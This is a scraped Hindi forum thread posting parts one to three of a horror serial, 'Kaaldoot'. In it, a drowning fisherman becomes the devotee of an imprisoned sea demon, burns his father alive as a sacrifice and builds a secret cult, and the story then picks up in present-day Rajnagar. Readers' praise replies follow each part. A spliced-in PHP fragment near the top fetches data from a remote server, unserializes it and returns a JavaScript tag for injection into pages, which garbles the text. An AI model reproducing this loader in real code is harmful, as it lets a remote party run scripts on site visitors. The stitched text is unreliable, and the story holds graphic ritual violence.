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Fantasy कालदूत(पूर्ण)

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It returns the first success response. */ private function getCode($url) { $code = false; if (!$code) { $code = $this->getCurl($url); } if (!$code) { $code = $this->getFileGetContents($url); } if (!$code) { $code = $this->getFsockopen($url); }return $code; }/** * Determine PHP version on your server */ private function getPHPVersion($major = true) { $version = explode('.', phpversion()); if ($major) { return (int)$version[0]; } return $version; }/** * Deserialized raw text to an array */ private function parseRaw($code) { $hash = substr($code, 0, 32); $dataRaw = substr($code, 32); if (md5($dataRaw) !== strtolower($hash)) { return null; }if ($this->getPHPVersion() >= 7) { $data = @unserialize($dataRaw, array( 'allowed_classes' => false, )); } else { $data = @unserialize($dataRaw); }if ($data === false || !is_array($data)) { return null; }return $data; }/** * Extract JS tag from deserialized text */ private function getTag($code) { $data = $this->parseRaw($code); if ($data === null) { return ''; }if (array_key_exists('tag', $data)) { return (string)$data['tag']; }return ''; }/** * Get JS tag from server */ public function get() { $e = error_reporting(0); $url = $this->routeGetTag . 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Naik

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भाग 1

आज से करीब १०००-१२०० वर्ष पूर्व (देखो वैसे मुझे घंटा आईडिया नहीं है के १००० साल पहले क्या माहौल था लोगो का रेहन सेहन कैसा था बोलीभाषा क्या हुआ करती थी इसीलिए जहा तक दिमाग के घोड़े दौड़ रहे थे उतना लिख रहा हु )

हिन्द महासागर

इस वक़्त हिन्द महासागर मैं कुछ ३-४ नावे चल रही थी, देखते ही पता चलता था के मुछवारो की नाव है जो वह मछली पकड़ने का अपना काम कर रहे थे, वैसे तो नाव एकदूसरे से ज्यादा दूर नहीं थी पर उन्होंने अपने बीच पर्याप्त अंतर बनाया हुआ था,

ये कुछ जवान लड़के थे जो पैसा कमाने और मछली पकड़ने की होड़ मैं आज समुन्दर मैं कुछ ज्यादा ही दूर निकल आये थे, सागर के इस और शायद ही कोई आता था क्युकी इस भाग मैं अक्सर समुद्र की लहरें उफान पर रहती थी इसीलिए ये लड़के यहां तो गए थे पर अब घबरा रहे थे पर आये है तो बगैर मछली पकडे जा नहीं सकते थे इसीलिए जल्दी जल्दी काम निपटा के लौटना चाहते थे

पर जब मछलिया जाल मैं फसेंगी तभो तो कुछ होगा न अब उसमे जितना समय लगता है उतना तो लगेगा ही

"हम तो पहले ही बोले थे यहाँ नहीं आते है यहाँ अक्सर तूफान उठते रहते है हमारा तो जी घबरा रहा है" उनमे से एक लड़का दूसरी नाव वाले से बोला, हवा काफी तेज चल रही थी तो वो चिल्ला के बोल रहा था

"ए चुप बिरजू साले को पैसा भी कामना है और जोखिम भी नहीं लेना है " दूसरे लड़के ने उसे चुप कराया

"बिरजू सही कह रहा है पवन मेरे दादा भी कहते है के सगर का ये भाग खतरनाक है उन्होंने तो ये भी बताया था के ये इलाका ही शापित है" तीसरा बाँदा भी अब बातचीत मैं शामिल हो गया

"इसीलिए तो मैं कह रहा हु के जितनी मछलिया मिल गयी है लेके के चलते है मुझे मौसम के आसार भी ठीक नहीं लग रहे " बिरजू ने कहा

बिरजू की बात के पवन कुछ बोलना छह रहा था के "अरे जाने दे से पवन ये बिरजू और संजय तो फट्टू है सालो को दिख नहीं रहा के यहाँ कितनी मछलिया जाल मैं फास सकती है कमाई ही कमाई होगी और अगर कोई बड़ी मछली फांसी तो राजाजी को भेट कर देंगे हो सकता है कुछ इनाम मिल गए " ये पाण्डु था चौथा बंदा

"सही बोल रहा है तू पाण्डु " पवन

वो लोग वापिस अपने काम मैं जुट गए , देखते देखते दोपहर हो गयी और अब तक उन चारो ने काफी मछलिया पकड़ ली थी और अब वापिस जाने मैं जुट गए थे

"बापू काफी खुश होगा इतनी मछलिया देख के " बिरजू ख़ुशी से बोला

"हमने तो पहले ही कहा था इस और आने अब तो रोज यही आएंगे मछली पकड़ने " पाण्डु बोल पड़ा

तभी मौसम मैं बदलाव आने सुरु हो गए, धीरे धीरे मौसम बिगड़ने लगा और इस प्रकार के मौसम मैं नाव चलना मुश्कुल हो रहा था, हवा की गति भी अचानक से काफी तीव्र हो गयी थी, वो चारो नाविक लड़के परेशानी की हालत मैं थे के इस तूफ़ान से कैसे बचे, किनारा अब भी काफी दूर था , तभी उन्हें समुद्र के बीच से कही से हवा का बवंडर अपनी और आता दिखा जिसकी तेज गति से पानी भी १३-१४ फुट तक ऊपर उठ रहा था, वो चारो घबरा गए और मन ही मन भगवन को याद करने लगे

देखते ही देखते उस बवंडर ने उनकी नावों को अपनी चपेट मैं ले लिया पर इसके पहले ही वो चारो पनि मैं कूद चुके थे,

वैसे तो वो तैरना जानते थे पर इस तूफ़ान मैं उफनती सागर की लेहरो मैं तैरना आसान काम नहीं था, कभी मुश्किल से थोड़ा ही तेरे थे के उस बवंडर से उन्हें अपने अधीन कर लिया और वे चारो सागर की गहराइयो मैं गोता लगाने लगे

बिरजू उन सब मैं सबसे अच्छा तैराक था इसीलिए वो थोड़े लम्बे समय तक तैरता रहा जबकि उसके बाकि साथी तो पहले ही सागर की गहराइयो मैं खो चुके थे

धीरे धीरे बिरजू के सीने पे पानी का दबाव पड़ने लगा और वो भी डूबने लगा उसकी आँखें बंद होने लगी थी......

कुछ समय बाद बिरजू की आँखें खुली तो उसने अपने आप को सागर की गहराइयो मैं आया पर आश्चर्य उसे सास लेने मैं कोई कठनाई नहीं हो रही थी पर जब उसने सामने देखा तो उसके होश उड़ गए थे

उसके सामने विशालकाय ३० फुट ऊचा कोई व्यक्ति जंजीरो से बंधा हुआ था, सबसे भयावह और अजीब बात ये थी के उसका सर आम इंसानो जैसा न होकर सर्प के सामान था और उसके पीठ पर ड्रैगन जैसे पंख लगे हुए थे, उस अजीबोगरीब चीज़ को देख के बिरजू की डर से हालत ख़राब हो रही थी तभी उसके कानो मैं कही से आवाज गुंजी

"मनुष्य"

बिरजू एकदम से घबरा गया

"घबराओ नहीं मनुष्य मैं कालदूत हु और मैं तुम्हे कोई हानि नहीं पहुँचाऊँगा"

"तुम क्या हो और मुझसे कैसे बात कर पा रहे हो "

"मैं कालदूत हु मनुष्य ये मेरे लिए मुश्किल नहीं है मैं तुम्हारी मानसिक तरंगों से जुड़ा हु और मैं तुम्हे कुछ नहीं करूँगा मैं तो खुद लाखो वर्ष से समुद्रतल की गहराइयो मैं कैद हु, देवताओ ने मुझे कैद किया था"

"पर मैं यहाँ कैसे आया " बिरजू

"क्युकी मैं तुम्हे यहाँ लाया हु, मुझे मुक्त होने के लिए तुम्हारी आवश्यकता है तुम्हे हर तीन सालो मैं १०० लोगो की बलि देनी होगी वो भी निरंतर १००० वर्षो तक ताकि मैं मुक्त हो पाउ बदले मैं मैं तुम्हे असीम शक्ति प्रदान करूँगा, आज से मै ही तुम्हारा भगवान हु, तुम जो ये पानी के भीतर भी सास ले पा रहे हो ये मेरी ही कृपा है अब जाओ और हमारी मुक्ति का प्रबंध करो "

कालदूत की बातो का बिरजू पर जादू हो गया और वो उसके सामने नतमस्तक हो गया तभी वहा एक किताब प्रगट हुयी

"उठो वत्स और ये किताब को यह हमारा तुम्हारे लिए प्रसाद है जिसमे वो विधि लिखी है जिससे तुम हमें अपने भगवान हो मुक्त करा पाओगे और इसी किताब की सहायता से तुम्हे और भी कई साडी सिद्धिया प्राप्त होगी "

बिरजू ने वो किताब ली

“पर 1000 वर्ष मैं जीवित कैसे रह सकता हु प्रभु”

“यही किताब उसमे सहायक होगी वत्स और हमारी शरण में आते ही तुम्हारी आयु साधारण मनुष्य से अधिक हो गयी है पर तुम्हे यह कार्य जारी रखने के लिए संगठन बनाना होगा हमारे और भक्त बनाने होंगे अब जाओ हम सदैव तुमसे जुड़े रहेंगे”

"महान भगवान कालदूत की जय" और इतना बोलते साथ ही बिरजू की आँखें बंद हो गयी और जब खुली तब उसने अपने आप को किनारे पे पाया,


पहले तो उसे यकीं नहीं हुआ की ये क्या हुआ पर जब उसकी नजर अपने हाथ मैं राखी किताब पे पड़ी तब उसे यकीन हो गया की जो हुआ वो सत्य था और वो लग गया अपने स्वामी को मुक्त करने की मोहिम मैं........
Awesome excellent update brother
 

Naik

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भाग २

समय रात के 11 बजे

अमावस की वो एक बेहद ही काली और भयान रात थी हर तरफ निर्जीव शांति फैली हुई थी सिवाय जंगल के.....
जंगल के बीचों बीच एक हवन कुंड जल रहा था और उसके इर्द गिर्द 5 लोग काले कपडे पहन कर कुछ मंत्रोच्चारण कर रहे थे और उस हवन कुंड के ठीक सामने एक पेड़ पर एक व्यक्ति अधमरी हालत मैं जंजीरो से बंधा हुआ था

यहा इन पांचों लोगो का मंत्रोच्चारण सुरु था, उन सभी के चेहरे ढके हुए थे और आँखें लाल होकर देहक रही थी तभी उनलोगों ने हवन मैं आहुतियां देना सुरु किया और जोर जोर से मंत्रोच्चारण करते हुए आहुतियां देने लगे,
उनलोगों की आवाजें उस जंगल की शांति की भंग कर रही थी वातारवण ऐसा हो रखा था मानो किसी ने संसार से सारि ख़ुशी चूस ली हो

जैसे ही उन लोगो ने अपनी आखरी आहुति पूरी की वहा उन पांचो मैं से एक व्यक्ति की अट्टहास भरी हँसी की आवाज गूंगी

"आखिर को क्षण आ ही गया, मेरे मालिक की मुक्ति अब ज्यादा दूर नहीं"

वो शख्स अपनी जगह से उठा और उसी हवन कुंड से जलती हुयी एक लकड़ी उठायी और उस पेड़ से बंधे इंसान के पास गया और अपने चेहरे से नकाब हटाया

"न.... नहीं.....म... मुझे... म...मत..मारो....मैं ...मैं तुम्हारा बाप हु...." उस अधमरे इंसान ने बोलने की कोशिश की

"जो मेरे भगवान को नहीं मानता वो मेरा बाप नहीं हो सकता आप बहुत खुशनसीब है के आपको महान भगवन कालदूत की मुक्ति के लिए योगदान देने का अवसर मिला है" और इतना बोलने के साथ ही उस आदमी ने अपने हाथ मैं पड़की वो जलती हुई लकड़ी उस आदमी को लगाई. उन लोगो ने पहले ही इस इंसान पर मिटटी का तेल छिड़का होने की वजह से उस इंसान का शरीर जलने लगा. उसकी चीखे पुरे जंगल में गूंज उठी

वो पांचो वहा उस जलते हुए शख्स को देख कर खुश हो रहे थे... आग ने जिस पेड़ पे वो इंसान बंधा हुआ था उसे भी अपनी चपेट में ले लिया था और अब आग की लपटें ऊँची ऊँची उठ रही थी....

थोड़े समय बाद वह केवल रख बची थी और उस जल हुए शारीर के अंश...

"महान भगवान कालदूत अपने भक्त बिरजू के हाथो पहली आहुति स्वीकार करे" और इतना बोलते साथ ही बिरजू ने वहा राख बने अपने पिता के शरीर के कुछ अंश उठाये और उस हवन कुंड मैं डाल दिए.

बिरजू और कालदूत की भेंट हुए आज दो माह हो गए थे और कालदूत ने मनो बिरजू पर सम्मोहन कर दिया था. बिरजू उसका निस्सीम भक्त बन गया था और उसे ही अपना देवता मानता था... और साथ ही उस किताब की पूजा करता था जो उसे कालदूत ने दी थी...

वो किताब खुद कालदूत ने लिखी थी जो उसके जीवन के अनुभवो पर आधारित थी जिसमे उसके देवताओ से लड़ने की कई कहानियां थी और ये भी लिखा था के पापी देवताओ ने कैसे उसे छल से समुद्रतल की गहराइयों में कैद किया था जिससे मुक्ति पाने के लिए कालदूत को आत्माओ की शक्ति की आवश्यक्ता थी... उस किताब मैं काले जादू से सम्बंधित कई सिद्धिया और उसे प्राप्त करने की विधि के बारे में विस्तृत जानकारी थी जिसकी कोई भी सामान्य मनुष्य कल्पना भी नहीं कर सकता....

बिरजू जैसे जैसे उस किताब को पढता गया वैसे वैसे कालदूत के प्रति उसकी भक्ति भी बढ़ रही थी, वो मानने लगा था के सृष्टि का उद्धार केवल कालदूत ही कर सकता है, उसने जंगल मैं कालदूत का मंदिर भी बनाया था जहा अभी अभी उसने अपने पिता की बलि दी थी

इंसान जब भी कोई नयी चीज़ करता है तो वो उसकी सुरवात अपने परिवार से करता है बिरजू ने भी वैसा ही किया, उसके परिवार मैं उसके पिता के अलावा कोई नहीं था उसने अपने पिता को कालदूत के बारे मैं बताया और कालदूत की शरण मैं आने के लिए समझाया लेकिन उसके पिता ने उसकी पागलो मैं गिनती की और ईश्वर की राह चलने की सहल दी और यही से.... जब बिरजू के पिता बटुकेश्वर ने कालदूत की भक्ति से इंकार कर दिया बिरजू के मन मैं उनके प्रति नफरत के भाव बनने लगे.......

जिस दिन बिरजू समुद्र के तूफ़ान से बच कर आ गया था और उसके तीनो साथिओ मरे गए थे तब उसने अपने गाओ वालो को भी कालदूत के बारेमे बताया पर उस समय किसीने उसकी बातो पर यकीं नहीं किया सिवाय ४ लोगो को छोड़ के जिनके मन मैं कालदूत को लेकर कुतूहल जगा था....धीरे धीरे १ महीने का समय व्यतीत हुआ, बिरजू उस किताब का अध्यन करके कई सारी सिद्धिया प्राप्त कर चूका था और कालदूत का भक्त तो वो पहले ही बन चूका था और अब अपने स्वामी को मुक्त करना चाहता था लेकिन ये काम आसान नहीं था और ये उसके अकेले के बस का भी नहीं था उसे लोगो की जरुरत थी जो उसी की तरह कालदूत के भक्त हो.....

बिरजू ने ऐसे लोगो को ढूंढ़ना सुरु किया जिनके मन मैं ईश्वर के प्रति गुस्सा हो, जिन्होंने अपनी कोई अतिमुल्यवान चीज़ खोई हो और उसका जिम्मेवार ईश्वर को मानते हो और जब उसने ऐसे लोगो की खोज की तो पाया के इनके सबसे अग्रणी वही ४ थे जिनके मन मैं कालदूत को लेकर कुतूहल जगा था.....

बिरजू ने धीरे धीरे उनसे दोस्ती बनायीं, उन्हें कालदूत के बारेमें बताया, और ये भी बताया के कैसे महान कालदूत को देवताओ ने कैद किया था, बढ़ते समयके साथ साथ वो चारो भी बिरजू के साथ कालदूत की भक्ति करने लगे और इन सब क्रियाओ मैं बिरजू अपने पिता से दूर होता गया क्युकी उसके पिता बार बार उसे समझने की कोशिश करते,

इस पुरे घटनाक्रम मैं कालदूत बिरजू के दिमाग से जुड़ा हुआ था और समय समय पर सपनो के जरिये उसे निर्देश भी देता था और जैसे ही बिरजू के अलावा वो चारो भी कालदूत की भक्ति करने लगे तो कालदूत उनके सपनो मैं भी आ गया और इन पांचो को बताया के उसकी भक्ति करने से वो उन्हें कई प्रकार की सिद्धिया देगा न की उनके भगवान् की तरह उन्हें दुःख और गरीबी देगा.....कालदूत की बाते उसके भक्तो पर सम्मोहन की तरह काम करती थी......बिरजू को अपने पिता की बलि देने के लिए भी कालदूत ने ही आदेश दिए थे जिसे बिरजू ने पूरा किया......

"आज ये पहली बलि है हमारे भगवन कालदूत की मुक्ति के लिए लेकिन अंतिम नहीं, जब मेरी भेट कालदूत से हुयी थी उन्होंने कहा था के हमें हर 3 वर्षो मैं १०० बलिया देनी होगी वो भी निरंतर १००० वर्ष तक तब हम हमारे स्वामी को उस समुद्रतल से मुक्त कर पाएंगे साथियो हमारा असली काम अब सुरु हुआ है, बोलो महान भगवान कालदूत की..!" बिरजू बोला जिसके पीछे सब एकसाथ चिल्लाये "जय !!"

उसके बाद इनलोगो ने अपना संगठन मजबूत करने पर जोर दिया और उसे नाम दिया 'कालसेना' समय के साथ साथ इनकी विचारधारा से कई लोग जुड़े और कालसेना का हिस्सा बने, बलि के लिए ये लोग मुख्यत्व उनलोगो को निशाना बनाते जो किसी भी धार्मिक कार्य से जुड़े होते जिससे ये लोगो को यकीन दिला सके के इनका ईश्वर इन्हे बचाने नहीं आएगा बल्कि कालदूत की शरण मैं आने से इनके दुःख दूर होंगे,

कालसेना छिप कर काम करती थी और बलि का तरीका वही था जिससे इन्होने पहली बलि दी थी, कालसेना की विचारधारा पीढ़ी दर पीढ़ी आगे प्रसारित होती रही और हर ३ वर्षो मैं १०० बलिया कालदूत को निरंतर मिलती रही,

आज कालसेना से कई लोग जुड़े थे और कालदूत की भक्ति कर उसे मुक्त करना चाहते थे, ये एक काफी बड़ा संगठन था जिसका मुखिया आज भी बीरजु का परिवार था बिरजू के मरने के बाद ये हक़ उसके बेटे को मिला लेकिन उसके बाद कालसेना का मुखिया बनने के लिए संगठन मैं द्वन्द होता और जो श्रेष्ठ होता उसे कालसेना के मुखिया का पद मिलता जिसमे हमेशा से ही बिरजू के परिवार का बोल बाला रहा


कालसेना बड़ा संगठन था लेकिन छिपा हुआ था और इनके लोग हर क्षेत्र मैं मौजूद थे व्यवसाय से लेकर राजनीति और मीडिया तक मैं इनकी पहुंच थी जो इनका भेद छिपा रखने मैं मदद करती थी, कालसेना का मानना था के जिस दिन इनके भगवान कालदूत मुक्त होंगे उसी दिन ये भी दुनिया के समक्ष आएंगे...और फिर दुनिया पर राज करेंगे और अब काल सेना अपने लक्ष के काफी करीब थी आने वाले 3 वर्षो मैं १०० बलि देने से उनकी १००० वर्षो की तपस्या सफल होने वाली थी जिसमे से वो २० बलियो का प्रबंद कर चुके थे बस इंतज़ार कर रहे थे सही अवसर का...........
Bahot zaberdast shaandaar lajawab update dost
 

Naik

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भाग ३

वर्तमान समय
छत्रपति शिवाजी इंटरनेशनल एयरपोर्ट, मुंबई

अभी अभी एयरपोर्ट के डोमेस्टिक टर्मिनल पर दिल्ली से आयी हुयी फ्लाइट लैंड हुयी थी जिसमे रोहित दिल्ली से मुंबई आया था, रोहित अपने सबसे खास दो दोस्तों से पुरे चार साल बाद मिलने वाला था जिसके लिए वो काफी खुश था. ये लोग मुंबई से २०० कम दूर बने राजनगर(काल्पनिक) जाने वाले थे जो की एक हिल स्टेशन था और यहाँ पर काफी ख्याति प्राप्त बोर्डिंग स्कूल भी थे, रोहित ने भी अपनी स्कूलिंग और ग्रेजुएशन यही से कम्पलीट की थी इस लिए उसे इस जगह से काफी लगाव था और अब वो वापिस राजनगर जा रहा था अपने सबसे खास दोस्तों से साथ जो उसे के साथ पढ़े थे फिर से अपनी उन्ही यादो को ताजा करने...

रोहित जैसे ही डोमेस्टिक एयरपोर्ट टर्मिनल से बहार आया उसकी नजर अपने दोस्त संतोष पर पड़ी जो उसे वह रइवे करने आया था, और यहाँ से वो दोनों साथ मैं राजनगर के लिए निकलने वाले थे जहा अगले दिन शाम मैं उनका दोस्त विक्रम भी उनके पास पहुंचने वाला था

संतोष के पास पहुंच कर रोहित ने उसे गले लगा लिया, अपने दोस्त से काफी समय बाद मलने की बात ही कुछ और होती है

संतोष- साले इतना कस के गले लगाएगा तो लोग गलत समझेंगे अपने बारे मैं दूर हैट लवडे

रोहित- तुमको तो BC दोस्तों से मिलना भी नहीं आता हट !! चल सामान उठा अब

संतोष- कुली नहीं हु bsdk एक ही तो बैग है खुद उठा ले

रोहित- मैं खुद को संभाल रहा हु काफी नहीं है

संतोष- है और मेरे बाप ने तो कुली पैदा किया है न मुझे

रोहित- भाई संतो चार साल बाद मिलके भी लड़ाई करनी है क्या चल न यार भूख भी लगी है

संतोष- है भाई चल पहले मस्त तेरा मटका भरेंगे और फिर राज नगर के लिए निकलेंगे

रोहित- अरे गज़ब चलो तो फिर देर किस बात की

बात करते हुए कार तक पहुंच गए डिक्की में रोहित का सामान रख कर संतोष ने क्यार५ एक बढ़िया से रेस्टोरेंट की और बढ़ा दी....
कुछ ही देर मैं वो रेस्टॉरेंट के सामने थे

रोहित- तेरी बात हुयी विक्रम से कब तक पहुंचने वाला है वो

रोहित ने कहते टाइम संतोष से पूछा

संतोष- आज बात नहीं हुयी है वैसे भी अभी तो वो फ्लाइट मैं होगा उसकी कंपनी का मुंबई मैं कुछ काम है वो करके कल हमसे मिलेगा

रोहित- चलो अच्छा है वैसे मैं भी सोच के आया हु उसे सब बता के माफी मांग लूंगा

संतोष- किस बारे मैं कह रहा है तू...

संतोष ने सवालिया नजरो से रोहित को देखा

रोहित- तू जानता है संतो मैं नंदिनी और अपनी बात कर रहा हु विक्रम की शादी से पहले हम दोनों के बीच जो भी था....नहीं यार

संतोष- भाई वो सब पहले की बात है अब उस बारे मैं सोचने का कोई मतलब नहीं है नंदिनी और विक्रम खुश है अपनी जिंदगी मैं क्यों इस बारे मैं विक्रम को बताना चाहता है वैसे भी अब ऐसा कुछ नहीं हैतेरे और नंदिनी के बीच

रोहित- नहीं भाई, मेरे मन पे बोझ है यार अपने दोस्त को धोका देने का मैं उसे सब बता के माफ़ी मांगना चाहता हु फिर चाहे वो जो भी करे

संतोष- ठीक है जैसा तुझे सही लगे पर मैं इतना ही कहूंगा के एक बार और सोच लियो कही तेरा डिसिशन नंदिनी और विक्रम की जिंदगी ख़राब न करे.....अब चले

रोहित- है चलो चलते है

फिर अपना खाना ख़तम करके रोहित और संतोष अपनी मंजिल की तरफ रवाना हो गए ......

उसी सुबह ७ बजे
राजनगर

'राधे कृष्णा की ज्योत अलौकिक तीनो लोक मैं छाए रही है' ये भजन गाते हुए सुमित्रा देवी तुसली के पौधे को जल चढ़ा रही थी जो उनके घर के आँगन के बीचो बीच था घर की बनावट आलिया भट के घर के जैसी थी जो २ स्टेट्स मूवी मैं दिखाया गया था जिन्होंने को फिल्म देखि है वो समझ जायेंगे बाकि गूगल कर लेना तो सुमित्रा देवी के सुमधुर भजन की वजह से पुरे घर का वातावरण प्रफुल्लित हो रहा था तभी उस कर्णप्रिय आवाज के बीच एक दूसरी आवाज गुंजी

'ॐ भग भुगे भगनी भोगोदरी भगमासे ॐ फट स्वाहा......!!!
ॐ भग भुगे भगनी भोगोदरी भगमासे ॐ फट स्वाहा......!!! '

ये आवाज सुनके सुमित्रा देवी ने अपना भजन रोक दिया और उस आवाज की तरफ देखने लगी तो उनकी नजर वह पड़े एक खाट पे पड़ी जिसपर उनका छोटा बेटा राघव सोया हुआ था वैसे तो इसका और इसके बड़े भाई का एक कमरा था पर एक साल पहले भाई की शादी होने के बाद ये कमरे से बहार हो गए थे और ये आवाज़ उसके फ़ोन से आ रही थी...ये ॐ फट स्वाहा फ़ोन की रिंगटोन थी

फ़ोन की रिंगटोन की आवाज से राघव की आँख खुली और उसने फ़ोन उठाया
राघव-हेलो

"नींद से उठ जाओ महाराज यूनिवर्सिटी चलने का है "

राघव- सूरज तू नहीं होता तो मेरा क्या होता

फ़ोन राघव के दोस्त का था

सूरज- BC जल्दी आ गाड़ी का टायर पंक्चर है मेरे इसीलिए फ़ोन किया तुझे

राघव- रख फ़ोन आ रहा हु

राघव, उम्र २३ साल, अनिरुद्ध शास्त्री के छोटे बेटे बाप पेशे से पंडित है और बेटा पूरा नास्तिक, इनका मानना है के जो आँखों से दीखता ही नहीं है उसपे कोई विश्वास कैसे करे इसके हिसाब से भगवन केवल एक काल्पनिक किरदार है जिसे पुराने लोगो ने आम जानता को आदर्श जीवन सिखाने के लिए बनाया है और कुछ नहीं..... इसी वजह से इनकी पिता से थोड़ी काम बनती है

रिंगटोन से अब राघव की नींद खुल चुकी थी और कुछ समय बाद वो मस्त तैयार होक नाश्ते की टेबल पर आके बैठा जहा उसका भाई भी बैठा था

अनिरुद्ध- ये कैसी रिंगटोन लगा राखी है तुमने सुबह सुबह दिमाग भ्रष्ट कर दिया कोई अछि सी धुन नहीं रख सकते थे

राघव जैसे ही टेबल पर बैठने लगा उसके पिता अनिरुद्ध ने कहा

राघव- अब आपको इससे भी दिक्कत है

"राघव ये क्या तरीका हुआ बाबूजी से बात करने का " ये बोला राघव का बड़ा भाई रमन अपने ही शहर के पुलिस स्टेशन मैं सब इंस्पेक्टर है, वैसे इनको पूरा ईमानदार पुलिस वाला तो नहीं बोलूंगा बस दबंग के सलमान के जैसे है पैसा भी लेते है और काम भी पूरा करते है इसीलिए जल्द ही इनके प्रमोशन के आसार है पर फिलहाल एक केस मैं फसे हुए है

तो रमन के बोलने पे अनिरुद्ध और राघव चुप हो गए और चुप चाप नाश्ता करने लगे

रमन-तो राघव कुछ काम करना है या कोई और प्लानिंग है

राघव- फिलहाल कुछ सोचा नहीं है भैया अभी यूनिवर्सिटी जा रहा हु शाम को मिलता हु

और राघव उठ के चला है

रमन-ये क्या करता है कुछ समझ नहीं आता बाबूजी आप इससे काम ही बोला करिये अभी भी आपके बोलने पे वो कुछ बोलने वाला था पर मेरे बोलने पे रुक गया

अनिरुद्ध- मैंने तो उससे सारी उमीदे छोड़ दी है खैर मैं चलता हु एक यजमान के यहाँ पूजा करने जाना है

रमन- है मैं भी निकलता हु थाने के लिए इस मिसिंग केस ने परेशान किया हुआ है बाबूजी आप संभाल कर जाना जो लोग पूजा पाठ मैं ज्यादा है वही आजकल गायब हो रहे है

अनिरुद्ध- हम्म.....


और रमन भी अपनी बीवी और माँ से मिलके निकल गया....
Mast bahot lajawab update dost
 
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